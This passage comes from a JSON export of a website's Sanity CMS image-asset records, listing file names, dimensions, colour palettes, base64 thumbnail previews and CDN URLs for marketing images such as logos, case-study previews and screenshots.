96.png"} {"_createdAt":"2023-11-13T21:45:00Z","_id":"image-d325d7c3fcb41a8e67f2d80fca9b233a0e259136-252x72-webp","_rev":"6DRE6Zb4jyu9iXgb2IHKnz","_type":"sanity.imageAsset","_updatedAt":"2023-11-13T21:45:00Z","assetId":"d325d7c3fcb41a8e67f2d80fca9b233a0e259136","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"DPLQkCjtJl$6JS|dsUSLSMSN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.5,"height":72,"width":252},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAPoAAAD6AG1e1JrAAABYklEQVQYlS2PMWtUURSEz3znvVWwtLCwjsTIohGVgJVoE0VtNGjjJk+CcSVLEpUouBFBRPwtlhZi4Zp99577opX/SB6xmGYGvpmx74N6UGS3O9mHgOcZ30j4Sku1lPHHGX9WxLSI3QxNhrUZLM3Q6hzGCfaKNA1p5evJgexX5WcCrRfxOeOThG9k/EHC72a8B7wo4mOIt8cZTSvut2KU8K0Qb4r0KcS9WVWdsgw3Quxn/CDjuwlvAvaC3mMc4nWI9xn2E76ZYRLiXRYv/5dN41ibc6pFK9Kok3aKaIro1z3qrxfpVYZRkbaLtBVSv+5JwLiTvoS0HeJpkSYhNVmst+KmddL1I7Pl36aFznQhwzDDcohrCS4V6UonO19M5zJcTfhawE7ArUCXi3QxzBZa0/DQNLQjsxN/zPyvWQ/3DHXrVT33uk7Qq8qCA6/tEE4nuJPgYYKzfZbAv5nph1n102zwDwJwgP7RJzN3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c1c2c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c080b","foreground":"#fff","population":0.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c080b","foreground":"#fff","population":0.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960802","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc817c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#960802","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e00c04","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"Avaya Image.webp","path":"images/sczeoy4w/production/d325d7c3fcb41a8e67f2d80fca9b233a0e259136-252x72.webp","sha1hash":"d325d7c3fcb41a8e67f2d80fca9b233a0e259136","size":5320,"uploadId":"udubWSWX37tgZJX6i5ssDGWixtbIWc8R","url":"https://cdn.sanity.io/images/sczeoy4w/production/d325d7c3fcb41a8e67f2d80fca9b233a0e259136-252x72.webp"} {"_createdAt":"2023-06-28T08:00:33Z","_id":"image-d3690871b43e9ace03655c37a278705e9e9d25fb-1408x256-png","_rev":"IN1wWLxm4Ro5JwpniDhzzt","_type":"sanity.imageAsset","_updatedAt":"2023-06-28T08:00:33Z","assetId":"d3690871b43e9ace03655c37a278705e9e9d25fb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4FHLe,DvJH.Tm]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.5,"height":256,"width":1408},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAACxLAAAsSwGlPZapAAAA/klEQVQImQHzAAz/ADRQlrs3SofnOVKW7mVwnOiDeXzwY15c6lpRTuuCbmPwj4R66IWFfe2DgHDujYNs6ZWBcO+moY/rrsij6KXFk/CmwJHpqqyZ7Kmal+ulk5HNAD1Ymd1OWYj1UmGW+l5sl/hpYmv7VEtN+WRWVPmHb2P7gG9i+H9vYvp/cV76g3pi+JB9bPqdlIb5mqON+IyXd/uFlm/4fINr+ntvaPiDcWzrAFBpoc1weJjwf4Wf+Ghzi/RQUFj5SEFG9WNTUvZxXlT5aFpO9HplVfd4ZlX4d3Fh9Ih7cfeHfnj0cXNs82BjV/lZZVH1Rk8+90U+NfVhU0negiiJiZasc/AAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#644e41","foreground":"#fff","population":7.93,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84382c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#98796a","foreground":"#fff","population":8.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2c9a3","foreground":"#000","population":7.76,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4d6c4","foreground":"#000","population":1.92,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#98796a","foreground":"#fff","population":8.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#406ccb","foreground":"#fff","population":7.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"avatar-community-new.png","path":"images/sczeoy4w/production/d3690871b43e9ace03655c37a278705e9e9d25fb-1408x256.png","sha1hash":"d3690871b43e9ace03655c37a278705e9e9d25fb","size":578536,"uploadId":"MeizOtMKn8xDj1D63L73u9fafu66wp96","url":"https://cdn.sanity.io/images/sczeoy4w/production/d3690871b43e9ace03655c37a278705e9e9d25fb-1408x256.png"} {"_createdAt":"2022-11-16T12:51:26Z","_id":"image-d3827f3a82288033ab74399d2da47143c50e61ba-1200x630-jpg","_rev":"YI3rks3mbRtnzMpdn9mCza","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T12:51:26Z","assetId":"d3827f3a82288033ab74399d2da47143c50e61ba","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSA;1{#RkF{]O$naLaeoyaK+bJBofxCI=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEAv/EACAQAAICAgICAwAAAAAAAAAAAAECAwQAERIhBTETQZH/xAAXAQADAQAAAAAAAAAAAAAAAAAABQYH/8QAGxEBAAIDAQEAAAAAAAAAAAAAAQACAxESBRX/2gAMAwEAAhEDEQA/ALIa9YRKSqFtdgk95m5Yr+N8R84ZEmll4aZOXFNexlT9wp0PzFTQx2EVJ0DqvYB+shvp8ZBubJrObrJVNsXRFexThlIcsy7YgaBO8MqhjWOMIihVHoDDF2X0bWutTRCrYA3P/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#921a06","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae2008","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7406","foreground":"#fff","population":7.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960502","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":6.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a49c9c","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7406","foreground":"#fff","population":7.12,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"PaperLust_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/d3827f3a82288033ab74399d2da47143c50e61ba-1200x630.jpg","sha1hash":"d3827f3a82288033ab74399d2da47143c50e61ba","size":104296,"uploadId":"1wp9QRVx7DOv1vgOs81GmGsZ90mDuDJh","url":"https://cdn.sanity.io/images/sczeoy4w/production/d3827f3a82288033ab74399d2da47143c50e61ba-1200x630.jpg"} {"_createdAt":"2022-09-14T13:41:26Z","_id":"image-d3dd84f12e3b6ca025c9c06cdd822b041e84fdf7-1200x630-jpg","_rev":"CrO06FCqRM2QFeey1SPTMv","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T13:41:26Z","assetId":"d3dd84f12e3b6ca025c9c06cdd822b041e84fdf7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAwj/xAAhEAACAQQDAAMBAAAAAAAAAAABAgMABAURBhIhBzFhkf/EABYBAQEBAAAAAAAAAAAAAAAAAAMAAf/EABoRAQEAAwEBAAAAAAAAAAAAAAECAAMRQVH/2gAMAwEAAhEDEQA/AOgjb5FsiztdatS2+oPoFT/kTk13x/EQzWadmkfoZCNhKrRKBdOff7WtxBFcwmK4jSSM/asNim1pNCncLfFXDMvH7iXD87c5fAwXd0nWVtg6Hh/aKfijSFBHEioi+BVGgKKr40oczNU1EE09T3P/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#445460","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d7489","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d7489","foreground":"#fff","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c89fa5","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7494","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#549ab1","foreground":"#fff","population":0.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13a7df","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"MySQL_product_page_meta_preview.jpeg","path":"images/sczeoy4w/production/d3dd84f12e3b6ca025c9c06cdd822b041e84fdf7-1200x630.jpg","sha1hash":"d3dd84f12e3b6ca025c9c06cdd822b041e84fdf7","size":27350,"uploadId":"sz6coYEJ9y9sqNoYfr6XtGQMf7UqMckF","url":"https://cdn.sanity.io/images/sczeoy4w/production/d3dd84f12e3b6ca025c9c06cdd822b041e84fdf7-1200x630.jpg"} {"_createdAt":"2023-01-27T08:15:06Z","_id":"image-d3e56f891564fef9274bfce7bca67b0f37b0ed74-1567x844-png","_rev":"6wJ6OxF1mPB2I3zeg2CyVN","_type":"sanity.imageAsset","_updatedAt":"2023-01-27T08:15:06Z","assetId":"d3e56f891564fef9274bfce7bca67b0f37b0ed74","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNRS0f|;[B7zv}=YozK5i_$f{wFyKO+uOY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACpklEQVQokU2STUyURxjHZ9lFlFQQyyJNY7BNiWiblsQvjKaNiTfjpV6spId6agoBFmFm3wV22WVX+bLA7ooeBA+0jTHqoYkxqYnapqReSdtDxcSPeCClaZqUF0oZnp95Xz7k8Ms8mfyf/8zzn1GYADiF0LEZOorACeHvaYUYhXjrWr0BqwM+ohWs6rweRawIUuWQeRvSb0FPBXRvR+IlSKIUEqVI5xYkWrDeNNdeyONImKmmSmZai1nSgRVT4xkmtsHQhzB6BC4dRvKHILsfGa5FsvuQ3AFksAbpLkOcEIvRTTxzdnHLOcHllpM8bHyXf9tCEPUMA2uGH8Ho0demuYOQOwD5OrhUB9l9LA3s4Z9MDdPpOn4cqGcid56vM13cPHeMGe0dFvSnUMQ2+SOSqoCeHYg3crIc8UiFWU6GWUhX8bz/Y34aOsuN4Rhj2V5G81l6MymumHqmou+zYIoR7RmalVDX8K69lsdie5DZyBZ+09XcTp5h5EKcwYF++vr66E4kiLQ0k2muZ7LtIHPNYWgoQXkhb2T9Vb3wW0P82hDmetMnDHZGyKTTjIyMMDY2Ri6fpyeZ4Ko5wx/NH7D0RRV8Vo0So0RMYBWvViJaCVrJ/21B+b1lp1yOnJJkvEuGhobl228m5MEPd+Xne9/Lve9yMtl7Wv5sfE+k/h3h9G5R/v+Ll0B8K36eZvVvacWyKeBpZzXjHZ+TjrUyfjHBnSsJfrmqmb7WwMvRT5lJ7mW+pQz5sgy+2oYiXmrpqbSkKiydxVZMwIpWFq38ejZeZe93Hbc3zx2zj7qO2ifdtfaFs9P+7bxpF5w37JIJ2eX2Ais+AatwCl06NrvEilyiQRejXNHKRStXjHL/c4rdv5xyd7Z9qzuvC11rgu6yVj6ezteaFTz9K7liK4K6+pslAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#23384a","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#964d18","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":55.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b4cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc97f","foreground":"#000","population":0.5,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6484a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":55.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Supermetrics_customer_story_blog.png","path":"images/sczeoy4w/production/d3e56f891564fef9274bfce7bca67b0f37b0ed74-1567x844.png","sha1hash":"d3e56f891564fef9274bfce7bca67b0f37b0ed74","size":247826,"uploadId":"RDBDMn0rq2PNZCJdmgVjf9oErzXeRPqW","url":"https://cdn.sanity.io/images/sczeoy4w/production/d3e56f891564fef9274bfce7bca67b0f37b0ed74-1567x844.png"} {"_createdAt":"2023-12-27T10:23:43Z","_id":"image-d40ede8af9da13e0236a17d233245d75df152ea6-2494x1996-jpg","_rev":"sg5cBJWkRHo7pkcz4XhjyV","_type":"sanity.imageAsset","_updatedAt":"2023-12-27T10:23:43Z","assetId":"d40ede8af9da13e0236a17d233245d75df152ea6","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDSdpF{KT^#D@=D]_#ETBX-3B:-hR.TJ#joyS%v}wIrs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.249498997995992,"height":1996,"width":2494},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUBAwT/xAAeEAABBAIDAQAAAAAAAAAAAAABAAIDMQQRBRUhEv/EABYBAQEBAAAAAAAAAAAAAAAAAAcCBP/EAB0RAAICAgMBAAAAAAAAAAAAAAECAxEABBIhUXH/2gAMAwEAAhEDEQA/AIjtbMSUGZrdWdJ9LxOPh8S+WVo+6BNpHjMY2QPAoo3HLTZJwRYNgfPR5iw8se4jxUaqrx51jz6XtCFX2Emh4EKZtxJpGkYdk3mCPXkjQIp6Gf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c39caa","foreground":"#000","population":0.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb374","foreground":"#000","population":2.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7464","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.86,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-orange-right-pattern-aiven-live.jpg","path":"images/sczeoy4w/production/d40ede8af9da13e0236a17d233245d75df152ea6-2494x1996.jpg","sha1hash":"d40ede8af9da13e0236a17d233245d75df152ea6","size":184335,"uploadId":"JExUzYK2xQ4eERnJvvwg1V3rW5Pf0PIQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/d40ede8af9da13e0236a17d233245d75df152ea6-2494x1996.jpg"} {"_createdAt":"2024-02-12T14:07:05Z","_id":"image-d41325cb1d3aa55c5a6d313d6b1b5364be69d5ec-400x400-jpg","_rev":"pSrA0vvOUlEaOistjqwECy","_type":"sanity.imageAsset","_updatedAt":"2024-02-12T14:07:05Z","assetId":"d41325cb1d3aa55c5a6d313d6b1b5364be69d5ec","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e*MGx7t6?^bb%2ozWBt6j[ofNakCsAoeWC%gj[xaj[IUjZayWBoeWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAYHCAH/xAAmEAABAwMDBAIDAAAAAAAAAAACAQMEAAUGBxESFCFBUQhhEzGR/8QAFQEBAQAAAAAAAAAAAAAAAAAABAX/xAAbEQADAQADAQAAAAAAAAAAAAAAAQIDESQxMv/aAAwDAQACEQMRAD8AlXyByiaV3t2J2yR0xTRUn3fQ1VDj1+04ukKbCvPWMGQi4KLuiCq+UrQWpuO2d2VHyCVxG4sCrTSL+nN/G3mqqty2zIcgYtt2IemcdFOX4+PdF7DQ70c6JLwfjlFYVT9Roy2TCk26M+JdnWxP+pSuMo2wyDTSIjYCginpEpSABnbVLLLpMziBa3TbGJHe5ggDsu/2u9R/UB9yDHamRS4SG3UMSTwvulKJp9oZg+vZYGC51erhjrL0txpx1FUeSh3VE2+6UpSOSemf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a533b","foreground":"#fff","population":1.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#563729","foreground":"#fff","population":2.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#945b47","foreground":"#fff","population":11.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7ceb9","foreground":"#000","population":0.12,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b194","foreground":"#000","population":2.85,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#945b47","foreground":"#fff","population":11.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb7d62","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"michael.jpeg","path":"images/sczeoy4w/production/d41325cb1d3aa55c5a6d313d6b1b5364be69d5ec-400x400.jpg","sha1hash":"d41325cb1d3aa55c5a6d313d6b1b5364be69d5ec","size":18605,"uploadId":"swECtm11hErMz6OkCw3nqwOIEMIHmdJL","url":"https://cdn.sanity.io/images/sczeoy4w/production/d41325cb1d3aa55c5a6d313d6b1b5364be69d5ec-400x400.jpg"} {"_createdAt":"2024-03-04T11:43:01Z","_id":"image-d41d3c92e2e3f55a3bb3660af7578f4b262e0447-1200x628-png","_rev":"415s5m1PTRQajQOv4uwrr1","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T11:43:01Z","assetId":"d41d3c92e2e3f55a3bb3660af7578f4b262e0447","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA71y|szM^t6M{_4kBM{ogRks:juj?jvaw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACY0lEQVQokTXS6U8TQRzG8f4DIvTY3W53u70PMYhWLKVAA1JBFHpwlGKRqiAi5RAINwrIfUiUGEHi3/o1O8CLXzKZF595npmxSHqBaP1HYk0zxJJfaEwtEU+t0tCyRkPrJo1tOzSnD2l5cUIyfUYyfU5r509SXT9IdhwTbzumvukAT+0Gim8Ri9NTpKF5hs6eDV5mt+gd2Kd34JDu3CFdmSO682dkBi/IDv0hV7wiU/hLrnjNUPkf/aUr0pnfxNvO8dftoAY3sMhGkSeJCh2v1nid36GveER28IiuzAHpngO6sqdkChfkhy/pL10LLDt0RWHUhC9p6vhFJHaCUbuP+8EhFptrAG+kzMPYJLGmOeKpJRpalnnUuExdfJXHiU2epXZJtB+R7Dgj8fyUeNsBifZdnrbsEaz/jhbeQovs4q49xlIl5alx9mNzFXC4S8hGGdkzhuydQPFNoQZm0UKL6JEVjOgG7ug6WmgBV3AOV3ABNbCMM7CKK/QVPbqH5Z4jx830USUNcl95Q406ilUbw65/wmFUkDyzSN55FP8yim8JhzGD3V0Re87AigDV4DpaeNtMmKPaTKkMYFWLWF0jWF1lbPoYDvckkqdyO9PIvnnxkuIAzwyKf0kkU0ObN2hgDYtVzqGreby+YYzQexTPO2xaGZuZ0G0mnBKwXZ8Q6ztM8s7dVA1vC9TExbexy1n8ep5oeIRA7Tiq/wM2zURvExoVHMZnAdpF4mmBKr4F8U3MmmZdE1N881iq5Tx2Zx5JKyC5S9j1twK06+M4jDtgWqxNWPbOierO27qu8Ddxj+YB5vwHiVVil4OOSpgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4572","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5daea","foreground":"#000","population":6.17,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a7fc5","foreground":"#fff","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676f96","foreground":"#fff","population":1.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.77,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover.png","path":"images/sczeoy4w/production/d41d3c92e2e3f55a3bb3660af7578f4b262e0447-1200x628.png","sha1hash":"d41d3c92e2e3f55a3bb3660af7578f4b262e0447","size":157257,"uploadId":"VfCQ5saKfI5qVbFwb7aaSaBxgy4QtNiE","url":"https://cdn.sanity.io/images/sczeoy4w/production/d41d3c92e2e3f55a3bb3660af7578f4b262e0447-1200x628.png"} {"_createdAt":"2024-01-10T11:08:57Z","_id":"image-d42acfb9dce0b0715e8cfa79142cc055a6c55092-1330x765-png","_rev":"sEx8dZoeB26hd431UgQA4f","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:08:57Z","assetId":"d42acfb9dce0b0715e8cfa79142cc055a6c55092","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.738562091503268,"height":765,"width":1330},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABuElEQVQokY3OPW/TQADGcX8EgoKAhCSFltIkJGkLNK0UMVUI8d2gQhQGVJhhQYx0AoZOlRh4KQl5Acc++3x3vvPlXnyOPaAUtWqnIP3Xn57HKt26t7zaWai18+V6c3P78bOX37uDkeMPbTB2oAsC10OnAUj8IISYBoRBzKzSysbNVudGY+vq4uqdzsOd53tHvZENAtuFPiQIU0TYvzBhOIzQjFGIqY+oVVi+W6lvVmrtwtL6xv1HT1+87g3+eBBDRCZCah0rpaVUUiqtYx2biEuIqAcJgMTKX29dXlq/sriWL99e23qws/vq18CebRIaG5NlmUmMUEIoGSdJmmVSxgGiwMfAx9bFciO/0LxUaeSK1VZ7+8nu3glmsUmmaRrF0hXkN8dIT0yaKnUWl+qzrtVyxWrzPNbGiMQAEXWZ/4XY/QhLY87jY5YrVi8UVk6xd4yVMaE2Y84dHg5Z4EyYSpL5+GQ5kck0nAjCo5AzrqSZTuX/YcpUbAv9E4Y/xuDI8XqYuTKmQs+/HWBqR/IDYG+67vuv/XffBm/73ifI3UjOXw4wdbk8CPi+jT4P3Y8jsD/Gh1j4Z/Bf7b3RwT4zbOUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30414c","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24a484","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#20b2cc","foreground":"#fff","population":1.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6cece","foreground":"#000","population":0.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dee8fc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#895765","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#20b2cc","foreground":"#fff","population":1.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"create-hasura.png","path":"images/sczeoy4w/production/d42acfb9dce0b0715e8cfa79142cc055a6c55092-1330x765.png","sha1hash":"d42acfb9dce0b0715e8cfa79142cc055a6c55092","size":25534,"uploadId":"SOMspOkOufzmnm4UkZW1SZ6d47eZyRPv","url":"https://cdn.sanity.io/images/sczeoy4w/production/d42acfb9dce0b0715e8cfa79142cc055a6c55092-1330x765.png"} {"_createdAt":"2023-11-23T13:04:20Z","_id":"image-d4341e9c466bef92734551defb8e247dfda5451e-1484x824-png","_rev":"BjY9n6joNYFLmv1rs2SIXL","_type":"sanity.imageAsset","_updatedAt":"2023-11-23T13:04:20Z","assetId":"d4341e9c466bef92734551defb8e247dfda5451e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5RV^Nx9Oxw[-O01Vp9+n+,,00D#5ENf$w","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8009708737864079,"height":824,"width":1484},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAACpElEQVQokT2ObYvcNhSF/f9/QAs1KaRNSlIChUJLtmyYZpts22yTHXu0L7PTWdnjkS3Jlt/lGdlXusETyIHny3M43Osl+yJZP+xYuNqwFdmyh82ebf5PGd1GLI3XTCT3LItu2Pb2I9ttApazDYvpnm0fFdvtOxYnHYt2HcvEgakSmPfzqw+PL19e0h+fv6VPni7o9z9c0OcvLujbP36jyfIFrdfPaH33hBbhN7Qi39Li5id6/eGKvnkn6eKyoW/+qunZoqbnFy1dvNfUuzy/1X/+cqVf//qv/v31lT47X+r3l7d6FS71w/2FTrcL3cTnuo3PdBef6Sp5p283G/03KfT1Ta2vV5X+b1nq67DW5H7QXh3luPtnjQ+f7pDSHXKeY9v